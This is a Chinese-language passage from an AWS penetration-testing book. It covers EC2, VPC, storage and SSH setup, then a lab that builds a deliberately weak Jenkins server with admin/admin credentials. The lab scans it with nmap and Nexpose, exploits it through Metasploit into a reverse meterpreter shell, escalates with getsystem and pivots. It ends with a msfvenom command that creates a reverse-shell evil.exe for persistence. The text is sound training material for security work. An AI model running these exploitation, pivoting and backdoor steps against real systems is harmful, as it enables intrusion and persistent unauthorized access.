本章介绍了在 Kali PentestBox 上在 EC2 上设置 Nessus 的过程。在此之后,解释了 SSH 隧道,以访问 Nessus 服务而不将其暴露在互联网上。一旦可以访问 Nessus 实例,我们就能激活它并对 pentest 实验室中设置的两台主机执行自动扫描。这些自动扫描产生了许多结果,进一步帮助我们利用它们。最后,本章涵盖了通过利用易受攻击的网络服务来利用和接管 Linux 主机,以及通过利用 Web 应用程序漏洞来利用和接管 Windows 主机。

这结束了本章,重点是面向首次进行渗透测试的人员,他们希望进行 AWS 渗透测试,但手头没有实验环境。在下一章中,我们将深入探讨设置 EC2 实例并执行自动和手动利用的内容。

问题

  1. 在 Nessus 中,高级扫描相对于基本扫描有什么优势?

  2. Metasploit 的auxpost模块是什么?

  3. 有没有办法通过利用vsftpd获得 Bash shell?

  4. 有没有办法通过利用vsftpd在 Linux 主机上获得 VNC 访问?

  5. 为什么 Windows 主机会自动给予管理员权限?

进一步阅读

第二部分:Pentesting AWS 弹性计算云配置和安全

在本节中,读者将了解配置 EC2 实例的所有方面,以及对它们进行渗透测试和保护的过程。

本节将涵盖以下章节:

  • 第四章,设置您的第一个 EC2 实例

  • 第五章,使用 Kali Linux 对 EC2 实例进行渗透测试

  • 第六章,弹性块存储和快照-检索已删除的数据

第四章:设置您的第一个 EC2 实例

AWS 最受欢迎和核心的组件是弹性计算云EC2)。EC2 通过虚拟机为开发人员提供按需可扩展的计算基础设施。这意味着开发人员可以在选择的地理位置中启动具有自定义规格的虚拟机来运行他们的应用程序。

该服务是弹性的,这意味着开发人员可以根据操作的需要选择扩展或缩减他们的基础设施,并仅按分钟支付活动服务器。开发人员可以设置地理位置以减少延迟并实现高度冗余。

本章重点介绍创建 Amazon EC2 实例,围绕实例设置 VPC,并配置防火墙以限制对该 VPC 的远程访问。

在本章中,我们将涵盖以下主题:

  • 如何使用可用的 AMI 设置定制的 EC2 实例

  • 用于 EC2 实例的存储类型

  • 防火墙和 VPC 配置

  • 认证机制

技术要求

在本章中,我们将使用以下工具:

  • AWS EC2 实例

  • Ubuntu Linux AMI

  • SSH 客户端和浏览器

在 AWS EC2 上设置 Ubuntu

在本节中,我们将介绍如何在云上运行 Ubuntu AMI 的 EC2 实例,并查看我们可以根据需求自定义的各种设置。

Ubuntu AMI

正如我们在之前的章节中所看到的,设置 EC2 实例可以非常简单且可以通过几次鼠标点击快速完成。AWS 市场提供了许多准备好部署的 AMI。AWS 市场还提供了一系列来自供应商如 SAP、Zend 和 Microsoft 以及开源的 AMI,专为使命关键的项目(如 DevOps 和 NAS)定制的 AMI:

  1. 我们将从 AWS 市场中搜索 Ubuntu Linux AMI:

我们将使用撰写时可用的最新 Ubuntu AMI,Ubuntu 18.04 LTS - Bionic。

上述截图显示了以下信息:

    • 我们正在使用的 AMI 的版本(18.04 LTS)
  • Ubuntu 可用的实例类型,以及每个实例的每小时定价

  • AMI 的概述和详细信息

  1. 在下一页中,我们为我们的 AMI 选择实例类型:

选择实例类型

  1. AWS 为 Ubuntu 提供了一个免费的 t2.micro 实例,该实例运行在 1 个 vCPU 和 1GB 内存上,这对于本教程来说是足够的。确保选择了 t2.micro 并点击下一步。

我们已经配置了 EC2 实例的 RAM 和 CPU。在接下来的部分,我们将学习如何配置其网络和 VPC 设置。

配置 VPC 设置

在上一节中,我们配置了 EC2 实例的 RAM 和 CPU。在本节中,我们将学习如何为我们的 EC2 实例创建新的 VPC 和子网。

一旦我们选择了 t2.micro 作为我们的实例类型,我们就会看到配置实例详细信息页面:

在本节中,我们将看到如何配置以下选项:

  • 实例数量:这取决于读者决定启动多少个实例。在本章中,我们只启动一个实例。

  • 网络:我们将看一下如何为我们的 EC2 资源创建新的 VPC。

  • 子网:我们将把我们的 EC2 资源分隔到 VPC 中的不同子网中。

  • 自动分配公共 IP:我们将启用此功能,以便我们可以从我们的机器访问它。

让我们从创建 VPC 开始:

  1. 通过点击创建新 VPC 链接,我们被带到 VPC 仪表板,我们可以看到现有的 VPC 并创建新的 VPC:

  1. 点击创建 VPC 并命名为New VPC

我们已经有一个 IPv4 块为172.31.0.0/16的 VPC 网络。让我们继续创建一个 IPv4 块为10.0.0.0/16的新 VPC。正如对话框中所提到的,我们的 IPv4 CIDR 块大小只能在/16/28之间。

  1. 点击是,创建,您的 VPC 将在几秒钟内创建:

要在此 VPC 中启动我们的 EC2 实例,我们将不得不创建一个子网。让我们转到子网部分,并在我们的新 VPC 中创建一个子网。

  1. 单击创建子网并给它一个名称,新子网。我们将选择我们创建的 VPC。选择新 VPC后,VPC CIDR 块将显示在显示中:

用户可以从提供的可用区中选择任何可用区。但是,我们将其保持为无偏好。

我们正在使用 IPv4 CIDR 块10.0.1.0/24创建子网,这意味着它将为我们提供 IP 范围从10.0.1.110.0.1.254。但是,我们只有 251 个可用的 IP 地址。这是因为10.0.1.1保留给子网的网关,10.0.1.2保留给 AWS DNS,10.0.1.3保留给 AWS 的任何未来使用。

  1. 完成后,我们选择我们的 VPC 作为新的 VPC,并选择子网|新子网。您的屏幕应该是这样的:

  1. 让我们继续添加存储:

正如我们所看到的,每个 EC2 实例在启动时默认接收一个根存储设备。每个 EC2 实例默认获得一个默认的根存储。这是为了存放实例启动的操作系统文件。除此之外,如果需要,我们可以向 EC2 实例添加额外的存储。

在 EC2 实例中使用的存储类型

亚马逊为 EC2 实例提供以下存储类型:

  • 弹性块存储(EBS):AWS 提供的高速存储卷。这些是典型的存储卷,可用于 HDD 或 SSD 技术。这些是原始和未格式化的,可以附加到任何 EC2 实例,就像在现实生活中安装硬盘驱动器一样。这些卷需要在使用之前进行格式化。设置好后,可以将其附加、挂载或卸载到任何 EC2 实例。这些卷速度快,最适合高速和频繁的数据写入和读取。这些卷可以在 EC2 实例被销毁后设置为持久。或者,您可以创建 EBS 卷的快照并从快照中恢复数据。

  • 亚马逊 EC 实例存储:实例存储存储卷物理附加到托管 EC2 实例的主机计算机上,用于临时存储数据。换句话说,一旦附加到的 EC2 实例被终止,实例存储卷也会丢失。

  • 亚马逊 EFS 文件系统弹性文件系统(EFS)只能与基于 Linux 的 EC2 实例一起使用,用于可伸缩的文件存储。可伸缩存储意味着文件系统可以根据用例进行大规模扩展或收缩。在多个实例上运行的应用程序可以使用 EFS 作为它们的共同数据源,这意味着 EFS 可以同时被多个 EC2 实例使用。

  • 亚马逊 S3:Amazon S3 是 AWS 的旗舰服务之一,用于在云上存储数据。它具有高度可伸缩性,并使我们能够随时存储和检索任意数量的数据。Amazon EC2 使用 Amazon S3 存储 EBS 快照和实例存储支持的 AMI。

我们默认有一个 8GB 的根卷卷。在此活动中,让我们向 EC2 实例添加一个额外的 EBS 卷:

在 EBS 中,我们可以看到有五种不同的卷类型,可以使用不同的每秒输入/输出操作IOPS):

  • 通用用途 SSD(GP2)卷:这是一个成本效益的存储解决方案,主要适用于各种工作负载。该卷可以在较长时间内维持 3,000 IOPS,最小为 100 IOPS,最大为 10,000 IOPS。GP2 卷提供非常低的延迟,并且可以以每 GB 3 IOPS 的速度扩展。GP2 卷可以分配 1GB 到 16TB 的空间。

  • 预留 IOPS SSD(IO1)卷:这些比 GP2 卷快得多,性能也比较高。IO1 卷可以维持 100 到 32,000 IOPS 之间的性能,这比 GP2 高出三倍多。这种存储类型专为数据库等 I/O 密集型操作而设计。AWS 还允许您在创建 IO1 卷时指定 IOPS 速率,AWS 可以持续提供。IO1 卷的预留容量在最小 4GB 和最大 16TB 之间。

  • 吞吐量优化 HDD(ST1):ST1 是基于磁存储盘而不是 SSD 的低成本存储解决方案。这些不能用作可引导卷,而是最适合存储频繁访问的数据,如日志处理和数据仓库。这些卷只能在最小 1GB 和最大 1TB 之间。

  • 冷 HDD(SC1):SC1 或冷 HDD 卷,虽然与 ST1 卷相似,但不适用于保存频繁访问的数据。这些也是低成本的磁存储卷,不能用作可引导卷。与 ST1 类似,这些卷只能在最小 1GB 和最大 1TB 之间。

对于本教程,我们正在向我们的机器添加一个额外的 40GB EBS 卷通用用途 SSD(GP2)。不要忘记勾选“终止时删除”,否则存储实例将在终止 EC2 实例后继续存在。

我们不会给我们的 EC2 实例添加任何标签,所以让我们继续下一节,“安全组”。

配置防火墙设置

每个 EC2 实例都受到其自己的虚拟防火墙的保护,称为安全组。这就像一个典型的防火墙,通过控制入站和出站流量来管理对 EC2 实例的访问。在设置 EC2 实例时,我们可以添加规则来允许或拒绝流量到相关的 EC2 实例。EC2 实例也可以分组到一个安全组中,这在需要将一个防火墙规则应用于多个 EC2 实例时非常有用。一旦规则被修改,更改立即生效。

运行 Linux AMI 映像的 EC2 实例默认允许远程访问的 SSH 端口。在 Windows 机器的情况下,默认允许 RDP:

正如我们所看到的,由于我们的 AMI 是 Ubuntu Linux 映像,AWS 已自动配置了网络规则,只允许 SSH(端口 22)。让我们添加一些网络规则来允许 HTTP 和 HTTPS:

现在,我们已经准备好启动我们的 AMI。点击“审阅和启动”,然后点击“启动”。

在下一节中,我们将看看配置认证以访问我们的 EC2 实例。

配置 EC2 认证

在 AWS 中,所有 AMI Linux 映像都配置为使用密钥对认证 SSH 会话,而不是密码。

在启动 EC2 实例之前,AWS 提示我们配置 SSH 密钥对以便连接。我们可以创建自己的 SSH 密钥对,也可以使用现有的:

  1. 让我们创建一个新的密钥对,并命名为ubuntukey

  2. 然后,下载密钥对并启动实例。我们得到的密钥对文件是ubuntukey.pem。文件的名称将根据先前提供的密钥名称而更改。确保密钥文件存储安全。如果密钥丢失,AWS 将不会提供另一个密钥文件,您将无法再访问您的 EC2 实例。

  3. 下载密钥文件后,AWS 会将您重定向到启动状态页面,让您知道您的 EC2 实例正在启动:

现在,我们可以转到我们的 EC2 实例列表,并查找分配的公共 IP 地址。

现在,要连接到 AWS 机器,您可以从本地 Linux 机器上这样做:

  • 打开终端并输入以下命令:
ssh -i <<keyname>>.pem ec2-user@<<your public ip>>

但是,从 Windows 本地计算机连接需要更多的工作:

  1. 在本地计算机上安装 PuTTY。现在我们必须将.pem文件转换为.ppk文件,因为 PuTTY 只接受.ppk(PuTTY 私钥)。

  2. 从开始菜单启动 PuTTYgen 并单击加载。选择“所有文件”:

  1. 现在,将 PuTTYgen 指向我们下载的.pem文件。PuTTYgen 将加载并转换您的文件:

  1. 加载.pem文件后,单击“保存私钥”以生成.ppk文件。PuTTY 会显示警告,并询问您是否要保存不带密码的密钥。您可以选择“是”。

  2. 为您的.ppk文件提供一个名称,然后单击保存。

  3. 一旦我们将.pem文件转换为.ppk文件,我们就可以使用 PuTTY 连接到我们的 EC2 实例。首先从开始菜单启动 PuTTY。

  4. 在“主机名”字段中,输入主机名ubuntu@<<您的公共 IP>>。将端口保留在 22 号:

  1. 接下来,单击 SSH 旁边的+按钮。转到 Auth,然后在名为“用于身份验证的私钥文件”的字段旁边,单击浏览。将 PuTTY 指向我们创建的.ppk文件:

  1. 最后,点击“打开”开始您的 SSH 会话:

由于这是您首次登录到实例,您将收到以下警报。

  1. 点击“是”继续。您将被验证到 Ubuntu 实例:

这就结束了本章的练习。我们成功创建了一个 EC2 机器,并学会了如何创建新的 VPC 和子网。我们还看到了 AWS 提供的不同类型的存储卷,并学会了如何为特定实例配置防火墙规则。最后,我们设置了身份验证并登录到我们的 Ubuntu 机器。

摘要

本章介绍了如何设置 EC2 实例并配置 EC2 实例设置的种种细节,例如创建新的 VPC,在 VPC 中配置新的子网以及添加额外的存储。本章解释了可用于 EC2 实例的不同类型的存储,例如 EBS 和实例存储。此外,我们了解了存储卷的类型以及它们适用于什么。随后,我们学习了如何使用 EC2 实例的安全组配置防火墙规则。这就是本章的结束。

在下一章中,我们将学习如何对运行多个 EC2 实例的 AWS 环境进行真实的渗透测试。此外,我们将学习如何使用 Metasploit 执行自动化利用,并在网络中使用主机枢纽进行横向移动。

进一步阅读

第五章:使用 Kali Linux 对 EC2 实例进行渗透测试

在第三章中,在 Kali Linux 上利用云进行渗透测试,我们学习了如何对在 AWS 上运行的脆弱机器进行渗透测试。本章旨在帮助读者为高级渗透测试和更多实际场景设置一个脆弱的实验室。这个实验室将让我们了解 DevOps 工程师在持续集成和持续交付 (CI/CD)流水线中常见的安全配置错误。

本章重点介绍在 Linux 虚拟机 (VM)上设置一个脆弱的 Jenkins 安装,然后使用我们在第三章中学到的技术进行渗透测试。此外,我们还将介绍一些用于扫描和信息收集的技术,以帮助我们进行渗透测试。最后,一旦我们妥协了目标,我们将学习技术来进行枢纽和访问云中的内部网络。

在本章中,我们将涵盖以下内容:

  • 在我们的虚拟实验室中设置一个脆弱的 Jenkins 服务器

  • 配置和保护虚拟实验室,以防止意外访问

  • 对脆弱机器进行渗透测试,并学习更多的扫描技术

  • 妥协我们的目标,然后执行后渗透活动

技术要求

本章将使用以下工具:

  • Nexpose(需要手动安装)

  • Nmap

  • Metasploit

  • Jenkins

在 Windows 上安装一个脆弱的服务

Jenkins 是 DevOps 环境中 CI/CD 流水线的一个非常重要的组件,主要作为自动化服务器。Jenkins 的主要任务是在软件开发过程中提供持续集成并促进持续交付。Jenkins 可以与 GitHub 等版本管理系统集成。在典型情况下,Jenkins 会获取上传到 GitHub 的代码,构建它,然后部署到生产环境中。要了解更多关于 Jenkins 的信息,请参阅www.cloudbees.com/jenkins/about.

Jenkins 提供了在其构建控制台中提供自定义构建命令和参数的选项。这些命令直接发送到操作系统OS)的 shell。在这种情况下,我们可以将恶意代码注入构建命令中,以妥协运行 Jenkins 的服务器,从而访问目标网络。

我们将首先启动一个 Windows Server 2008 实例(您可以选择任何层级;但是,免费层级应该足够)。对于本教程,默认存储空间就足够了。让 EC2 实例启动。

我们将配置实例使其脆弱。因此,在传入/传出规则部分,确保只有端口3389对外部网络开放。此外,为了确保我们的 Kali 机器能够访问 Jenkins 服务器,允许来自 Kali 机器 IP 的传入连接,而不允许其他地方。

您的 Jenkins 机器的防火墙规则应该是这样的:

Jenkins 机器的防火墙规则

在这里,所有的流量只允许来自 Kali 机器的安全组。这只是一个安全措施,以确保没有其他人可以访问我们脆弱的 Jenkins 机器。

一旦实例启动,就是在目标机器上设置一个脆弱的 Jenkins 服务的时候了。远程桌面连接到您刚创建的机器,然后按照以下步骤操作:

  1. mirrors.jenkins.io/windows/latest下载 Jenkins 安装包:

  2. 只需双击 Jenkins 安装文件。按照屏幕上的说明进行操作:

安装 Jenkins

  1. 保持安装位置默认,然后点击下一步:

目标文件夹

  1. 最后,点击安装:

安装完成后,浏览器将自动打开并提示您配置 Jenkins 安装:

在安装过程中,Jenkins 安装程序会创建一个初始的 32 个字符长的字母数字密码。

  1. 打开位于C:\Program Files (x86)\Jenkins\secrets\initialAdminPassword文件:

  1. 复制文件中的密码,粘贴到管理员密码字段中,然后点击“继续”:

在下一个屏幕上,设置向导将询问您是否要安装建议的插件或选择特定的插件。

  1. 点击“安装建议的插件”框,安装过程将立即开始:

安装插件后,将提示您设置第一个admin用户。

  1. 为了使其成为一个易受攻击的实例,我们正在使用用户名admin和密码也是admin来设置帐户。填写所有其他必需的信息,然后点击“保存并继续”:

我们希望我们的 Jenkins 服务可以在本地连接接口上使用。

  1. 使用命令提示符中的ipconfig命令查找您的 Windows Server 2008 EC2 实例的 IP 地址:

  1. 注意 IPv4 地址,并在配置 URL 时在 Jenkins 配置页面中填写 IP:

  1. 点击“保存并完成”,然后点击“开始使用 Jenkins”。此时,您已成功在系统上安装了 Jenkins。登录后,您将被重定向到 Jenkins 仪表板。

要测试 Jenkins 登录是否可以从 Kali 机器访问,请执行以下操作:

  1. 使用 PuTTY 在 Kali 机器上创建一个 SSH 隧道

  2. 将本地端口8080转发到 Jenkins 机器的端口8080

  1. 打开浏览器,指向http://localhost:8080

您将看到 Jenkins 登录页面。这意味着我们的 Jenkins 机器可以从 Kali 机器访问。

在易受攻击的 Jenkins 机器后面设置一个目标机器

为了模拟一个位于内部网络或另一个子网中的机器,我们将设置一个 Ubuntu 机器,并使其只能从 Jenkins 服务器访问。

为了最终可视化我们的网络应该是什么样子,请参考以下图表:

我们已经设置好了AWS Jenkins 机器;现在,我们只需要设置内部机器并将其与AWS Kali 机器隔离开来。

让我们看看如何做到:

  1. 创建一个 Ubuntu EC2 实例

  2. 在安全组设置中,编辑入站规则,并只允许来自 Jenkins 机器的安全 ID 的所有流量

确保 SSH 端口对所有人都是可访问的,以便在需要时可以登录到实例:

最后,我们的网络已经设置好了。网络看起来完全符合我们的预期。在下一节中,我们将安装 Nexpose 进行漏洞扫描。

在我们的 Kali 机器上设置 Nexpose 漏洞扫描器

在第三章 在 Kali Linux 上利用云进行利用中,我们看到了如何在我们的 Kali 实例上远程设置 Nessus。远程设置 Nexpose 也是一样的。为什么我们需要 Nexpose 以及 Nessus?自动化漏洞扫描器通过匹配服务版本号和操作系统签名来识别漏洞。然而,这有时可能导致误报,甚至更糟糕的是漏报。为了进行双重检查并获得更全面的漏洞评估结果,使用多个漏洞扫描器总是一个好主意:

  1. 首先访问www.rapid7.com/products/insightvm/download/ 并注册许可证。许可证将发送到您提供的电子邮件地址。

  2. Nexpose 安装程序可以从www.rapid7.com/products/insightvm/download/thank-you/下载。

  3. 我们将下载 Linux 64 位安装程序。您可以将其下载到您的计算机,然后通过 SCP 传输,就像我们在第三章中所做的那样,在 Kali Linux 上利用云进行利用,或者您可以直接从 Kali 实例的终端上使用wget进行下载,如下所示:

wget http://download2.rapid7.com/download/InsightVM/Rapid7Setup-Linux64.bin
  1. 我们收到的文件是一个 POSIX shell 脚本可执行文件。我们需要给它执行权限,然后运行它。只需以sudo身份运行以下命令:
chmod +x Rapid7Setup-Linux64.bin
./Rapid7Setup-Linux64.bin

按照屏幕上的说明进行操作。在提示要安装哪些组件时,请确保选择带有本地扫描引擎的安全控制台[1,输入]。让其余的配置保持默认。

在安装程序提示时输入您的详细信息,并确保为您的帐户设置凭据:

最后,为了能够登录到安全控制台,我们需要创建一个带有用户名和密码的配置文件。在终端上提示时,输入用户名和密码。安装将完成:

您可以选择在安装后立即初始化和启动服务。或者您可以稍后手动执行以下命令:

sudo systemctl start nexposeconsole.service

安装完成后,从本地端口3780设置一个 SSH 端口转发到 Kali 机器上的端口3780,并将浏览器指向端口localhost:3780。您将看到登录页面。

登录,然后在下一页上输入许可证密钥:

激活后,我们可以继续进行扫描。

使用 Nmap 进行扫描和侦察

在本节中,我们将查看扫描子网,并使用 Nmap 对网络进行侦察。Nmap 是网络中主机和服务的侦察、发现和识别的瑞士军刀。在我们进行扫描之前,让我们看看 Nmap 是如何工作的。

当发现网络中的活动主机时,ping 扫描非常方便。这种类型的扫描涉及向网络中的每个主机发送ICMP ECHO 请求,然后根据响应识别哪些主机是活动的:

从图中,我们可以看到一些主机响应了ICMP ECHO 回复,而有些没有。根据哪些主机回复,我们可以确定哪些主机是活动的。

在 ping 扫描中,我们向 Nmap 提供一个网络范围,通常是一个网络地址及其 CIDR 形式的子网。我们的 AWS 机器托管在 AWS 的默认子网中。子网被指定为172.31.0.0/20。这意味着网络地址是172.31.0.020是 CIDR 值。换句话说,网络的子网掩码是255.255.255.240,可以容纳总共4094个 IP 地址。

让我们继续在我们的网络中进行 ping 扫描。为了这样做,我们将使用nmap-sn标志。-sn标志指示nmap执行 ping 扫描,172.31.0.0/20输入告诉nmap这是一个网络范围。SSH 进入 Kali 机器并发出以下命令:

sudo nmap -sn 172.31.0.0/20

前面命令的输出如下:

从输出中,我们可以看到nmap已经识别出五个活动的主机。不包括172.31.0.1172.31.0.2地址,我们可以看到网络中有三个活动的主机:我们的 Kali 机器,易受攻击的 Windows 机器和 Ubuntu 机器。

接下来,我们将学习如何扫描特定主机上的开放端口并识别服务。

使用 Nmap 识别和指纹开放端口和服务

继续上一节的内容,我们现在将扫描一个主机的开放端口,然后尝试识别运行在目标上的服务。在这个练习中,我们将使用 Nmap 的SYN扫描-sS标志。这是默认和最常用的扫描技术。为什么?因为这种扫描速度快,可以在不受防火墙干扰的情况下进行。扫描也是隐蔽的,因为它不完成 TCP 握手。扫描可以在开放、关闭和被过滤的端口之间产生明显和准确的结果。那么这种扫描是如何工作的呢?让我们来看一下。

SYN扫描使用半开放的 TCP 连接来确定端口是开放还是关闭。SYN扫描过程可以通过以下图表可视化:

每次端口扫描都是从 Nmap 向指定端口发送SYN数据包开始的。如果端口是开放的,目标会以SYN-ACK数据包作为响应。然后 Nmap 会将该端口标记为开放,然后立即通过发送RST数据包关闭连接。

在关闭的端口的情况下,当 Nmap 发送SYN数据包时,目标会用RST数据包做出响应;然后 Nmap 会将该端口标记为关闭,如下图所示:

当 Nmap 向一个端口发送SYN数据包并且没有收到任何响应时,它会进行重试。如果仍然没有响应,那么该端口将被标记为被过滤;也就是说,它受到了防火墙的保护。另一种情况是,如果 Nmap 收到 ICMP 不可达的错误,而不是没有响应,那么该端口将被标记为被过滤:

  1. 让我们从对 Jenkins 机器进行简单的nmap扫描开始。发出以下命令:
sudo nmap 172.31.10.227

正如我们所看到的,我们得到了nmap发现的开放端口的列表。然而,我们只扫描了默认的端口列表。这留下了一些未经检查的端口。识别所有开放的端口是至关重要的,所以让我们看看还有哪些端口是开放的。

  1. 发出以下命令:
sudo nmap -T4 -p- 172.31.10.227

-T4用于多线程以加快速度。-p-标志告诉nmap扫描所有65535个端口。您可以选择添加-v标志使输出更详细,并打印有关目标的更多信息:

正如我们所看到的,我们在之前的扫描中错过了一个开放的端口,端口5985/tcp。这说明扫描所有65535个端口以寻找开放的端口是很重要的。

我们的下一步是识别这些开放端口上运行的服务。那么 Nmap 是如何识别这些端口上运行的服务的呢?Nmap 执行完整的 TCP 握手,然后等待端口上运行的服务返回其服务横幅。Nmap 有自己的探测数据库来查询服务并匹配响应以解析运行的服务是什么。然后 Nmap 将尝试根据收到的信息来识别协议、服务和底层操作系统。

以下图解释了握手和数据交换的过程:

  1. 下一步是识别这些端口上运行的所有服务。发出以下命令:
sudo nmap -v -p 135,139,445,3389,5985,8080,49154 -sV 172.31.10.227

在这个命令中,我们指定了要扫描的端口13513944533895985808049154,因为它们是唯一开放的端口。我们可以使用-p参数指定要扫描的特定端口或端口范围:

Nmap 从扫描结果中打印出大量信息。我们可以看到所有开放的端口都已经被扫描以运行服务。在这些中,我们对 2 个端口感兴趣。注意端口445/tcp - Nmap 已经确定了服务为 SMB,并确定目标机器是运行 Windows Server 2008 R2 或 2012 的服务器。这是非常重要的,以确定我们的目标正在运行什么操作系统,因此相应地规划我们的下一步。

操作系统也可以通过使用-O标志来确定。Nmap 可以通过从服务接收到的响应,使用 CPE 指纹,或通过分析网络数据包来识别目标操作系统。

使用 Nexpose 执行自动化漏洞评估

在前面的在我们的 Kali 机器上设置 Nexpose 漏洞扫描器部分中,我们学习了如何在我们的 Kali 攻击者机器上设置 Nexpose 扫描器。在本节中,我们将看看如何使用 Nexpose 对目标机器执行自动化的漏洞扫描。

但首先,Nexpose 如何识别目标中的漏洞?

这个想法与 Nmap 在服务发现期间所做的非常相似。但是,Nexpose 的工作规模要比仅识别特定端口上运行的服务大得多。整个过程可以总结如下:

  1. 主机发现:Nexpose 发送 ICMP 数据包以确定主机是否存活。根据响应,目标被标记为存活。

  2. 端口扫描:确认主机存活后,Nexpose 发送大量 TCP 数据包以识别正在侦听 TCP 的开放端口。同时,它发送 UDP 流量以识别仅在 UDP 上侦听的端口。Nexpose 可以发送流量到所有端口,或者发送到扫描模板中预定义的端口列表。扫描响应和网络数据包被分析以识别目标上运行的操作系统类型。

  3. 服务发现:Nexpose 然后与 TCP 和 UDP 上的开放端口进行交互,以识别正在运行的服务。

  4. 操作系统指纹识别:分析来自端口和服务扫描的数据,以识别目标系统的操作系统。这并不总是非常准确,因此 Nexpose 使用评分系统来表示扫描结果的确定程度。

  5. 漏洞检查:最后,已识别的服务将被扫描以查找未确认和已确认的漏洞。为了检查任何未确认的漏洞,Nexpose 从服务横幅中识别出补丁和版本。然后,这些信息将与可能影响该特定软件版本的任何已知漏洞进行匹配。例如,如果 Nexpose 发现目标的端口 80 上运行着 Apache HTTP 2.4.1,Apache 将获取这些信息并交叉参考其漏洞数据库,以确定该版本是否存在任何已知漏洞。基于此,它将列出分配给该特定漏洞的常见漏洞和暴露CVEs)。然而,这些是未经确认的,因此需要手动测试以确认漏洞是否存在。另一方面,已确认的漏洞可能类似于某些软件使用默认密码。Nexpose 将检查软件是否仍在使用默认密码运行,尝试登录,并仅在成功登录时将其报告为漏洞。

  6. 暴力破解攻击:Nexpose 的扫描模板默认设置为测试诸如 SSH、Telnet 和 FTP 之类的服务,以查找默认用户名和密码组合,例如'admin':'admin'或者'cisco':'cisco'。任何这样的发现都将被添加到报告中。

  7. 策略检查:作为额外的奖励,Nexpose 检查目标机器的配置,以验证它们是否符合 PCI DSS、HIPAA 等基线。

  8. 报告:最后,所有发现都被放入报告并显示在屏幕上。

总结整个过程,以下是该过程的瀑布模型:

Nexpose 可以选择配置为执行 Web 扫描,发现 Web 服务,检查 SQLi 和 XSS 等漏洞,并执行 Web 蜘蛛。

让我们开始扫描目标服务器:

  1. 在本地端口3780转发到 Kali 机器上的端口3780,创建一个 SSH 隧道

  2. 如果 Nexpose 服务没有运行,你可以通过发出以下命令来启动它:

sudo systemctl start nexposeconsole.service
  1. 将你的浏览器指向https://localhost:3780

初始化完成后,我们将看到 Nexpose 的主屏幕:

  1. 在这里,我们需要点击“创建新站点”来在之前设置的 Jenkins 目标上开始一个新的扫描。给站点取任何你想要的名字:

  1. 现在添加你的目标 IP 地址。目标 IP 地址可以是一系列 IP、用逗号分隔的单个 IP 或整个子网及其 CIDR 值:

  1. 将扫描类型设置为详尽。有许多可用的扫描类型。我们使用详尽扫描,以便 Nexpose 检查所有端口,找到任何打开的端口,无论是 TCP 还是 UDP。每种单独的扫描类型都可以用于特定的用例。例如,发现扫描可以用于仅发现网络中的主机,而HIPAA 合规性将仅检查目标的配置和策略,以查看它们是否符合 HIPAA 基线。开始扫描并等待其完成:

与第三章中的 Nessus 一样,使用 Kali Linux 在云上进行利用,Nexpose 提供了大量信息,包括我们目标上运行的服务:

我们还看到它识别出了一些漏洞:

然而,它未能检测到我们的有漏洞的 Jenkins 服务。通常,需要对 Jenkins 服务进行暴力破解,以找到一组有效的凭据。然而,我们假设我们已经有了登录凭据。在下一节中,我们将看到如何利用这样一个有漏洞的服务并拥有目标服务器。

使用 Metasploit 进行自动化利用

在这个演示中,我们将使用 Metasploit 来利用 Jenkins 服务器,并在其上获取一个 meterpreter shell。Jenkins 有自己的脚本控制台,用户可以在其中输入和运行任意代码。如果用户的凭据被盗,这是危险的,因为任何人都可以使用脚本控制台运行任意代码。我们将使用的 Metasploit 模块利用了这一点,并尝试运行代码,以创建到远程机器的连接。

让我们看看如何进行利用:

  1. 通过发出以下命令,通过 SSH 登录到 Kali 机器并加载 Metasploit 框架:
msfconsole
  1. 接下来,我们将搜索 Metasploit 是否有与 Jenkins 相关的任何利用:
search jenkins

前面命令的输出如下:

我们看到了一些与 Jenkins 相关的模块。

  1. 在这种情况下,我们将使用jenkins_script_console利用。发出以下命令:
use exploit/multi/http/jenkins_script_console
  1. 让我们设置利用并配置我们的目标服务器。逐一发出以下命令:
set RHOSTS <<IP Address>>
set RPORT 8080
set USERNAME admin
set PASSWORD admin
set TARGETURI /
set target 0

目标 0表示这是一台 Windows 机器。

  1. 要查看所有可用的有效载荷列表,请发出以下命令:
show payloads

列出所有有效载荷供我们审阅:

  1. 我们将使用反向 TCP 有效载荷进行此利用。由于我们的 Windows 机器是 64 位的,我们将选择 64 位有效载荷进行传递。然后,将你的LHOST设置为你的 Kali IP 地址:
set payload windows/x64/meterpreter/reverse_tcp
set LPORT <<Kali IP Address>>

一旦所有这些都完成了,你可以发出show options命令来检查是否填写了所有必需的数据:

  1. 现在,简单地运行利用。你将进入一个 meterpreter shell:

我们已成功获得了对目标机器的 shell 访问。在接下来的部分,我们将看到如何进行特权升级和枢纽,以及使我们的后门持久化。

使用 Meterpreter 进行特权升级、枢纽和持久性

现在是我们练习的第二阶段。一旦我们有了 meterpreter shell,我们将尝试进行特权升级,并在目标服务器上获得尽可能高的特权。

但首先,让我们更多地了解一下我们的目标服务器。运行以下命令:

sysinfo

上述命令的输出如下:

我们得到了一堆信息,比如这台机器正在运行的 Windows 版本、域等等。

现在是时候进行特权升级了,输入以下命令:

getsystem

如果成功,你通常会得到这样的响应:

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))

这意味着我们的特权升级成功了。为了验证,我们可以输入以下命令:

getuid

如果我们是最高特权用户,我们应该得到一个Server username: NT AUTHORITY\SYSTEM的响应。

现在我们完全控制了服务器,让我们开始在内部网络上寻找机器。为此,我们将枢纽我们的 meterpreter 会话,并在我们的 Kali 机器上为内部网络创建一个桥接:

  1. 首先将你的 meterpreter shell 后台化:
background
  1. 添加targetsession的路由 ID:
route add <<target ip>> <<subnet mask>> <<meterpreter session>>

  1. 接下来,为了验证我们已经枢纽,我们将尝试使用 Metasploit 对隐藏的 Ubuntu 机器进行端口扫描:
use auxiliary/scanner/portscan/tcp
set RHOSTS <<Ubuntu IP address>>
run

上述命令的输出如下:

从扫描结果中,我们可以看到有许多端口是开放的。这意味着我们成功地枢纽了我们的受损机器。我们可以得出这样的结论,因为只有端口22(SSH)是公开的;从任何其他机器进行的扫描只会显示端口22是开放的。一旦枢纽成功,我们可以通过我们的受损 Windows 机器在内部网络中执行大量攻击。

现在是我们练习的最后一部分——我们如何确保我们对受损机器有持久访问?我们可以使用后渗透模块来实现。首先,我们需要创建一个恶意的.exe文件,它将连接回我们的 Kali 机器。为此,我们将使用 Metasploit 套件中的另一个工具msfvenom

  1. 如果你在 meterpreter 会话中,将其后台化,并输入以下命令:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Kali ip> LPORT=4444 -f exe -o /tmp/evil.exe

使用msfvenom,我们创建了一个需要传输到受害者机器的exe文件。

